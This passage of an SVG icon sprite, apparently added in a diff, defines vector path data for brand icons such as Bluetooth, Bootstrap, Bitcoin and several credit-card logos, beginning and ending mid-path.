222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"></path> + </symbol> + <symbol id="bluetooth" viewBox="0 0 448 512"> + <path d="M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z"></path> + </symbol> + <symbol id="bluetooth-b" viewBox="0 0 320 512"> + <path d="M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"></path> + </symbol> + <symbol id="bootstrap" viewBox="0 0 576 512"> + <path d="M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z"></path> + </symbol> + <symbol id="btc" viewBox="0 0 384 512"> + <path d="M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"></path> + </symbol> + <symbol id="buffer" viewBox="0 0 448 512"> + <path d="M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z"></path> + </symbol> + <symbol id="buromobelexperte" viewBox="0 0 448 512"> + <path d="M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"></path> + </symbol> + <symbol id="buy-n-large" viewBox="0 0 576 512"> + <path d="M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"></path> + </symbol> + <symbol id="buysellads" viewBox="0 0 448 512"> + <path d="M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"></path> + </symbol> + <symbol id="canadian-maple-leaf" viewBox="0 0 512 512"> + <path d="M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"></path> + </symbol> + <symbol id="cc-amazon-pay" viewBox="0 0 576 512"> + <path d="M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"></path> + </symbol> + <symbol id="cc-amex" viewBox="0 0 576 512"> + <path d="M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z"></path> + </symbol> + <symbol id="cc-apple-pay" viewBox="0 0 576 512"> + <path d="M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"></path> + </symbol> + <symbol id="cc-diners-club" viewBox="0 0 576 512"> + <path d="M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"></path> + </symbol> + <symbol id="cc-discover" viewBox="0 0 576 512"> + <path d="M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"></path> + </symbol> + <symbol id="cc-jcb" viewBox="0 0 576 512"> + <path d="M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"></path> + </symbol> + <symbol id="cc-mastercard" viewBox="0 0 576 512"> + <path d="M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 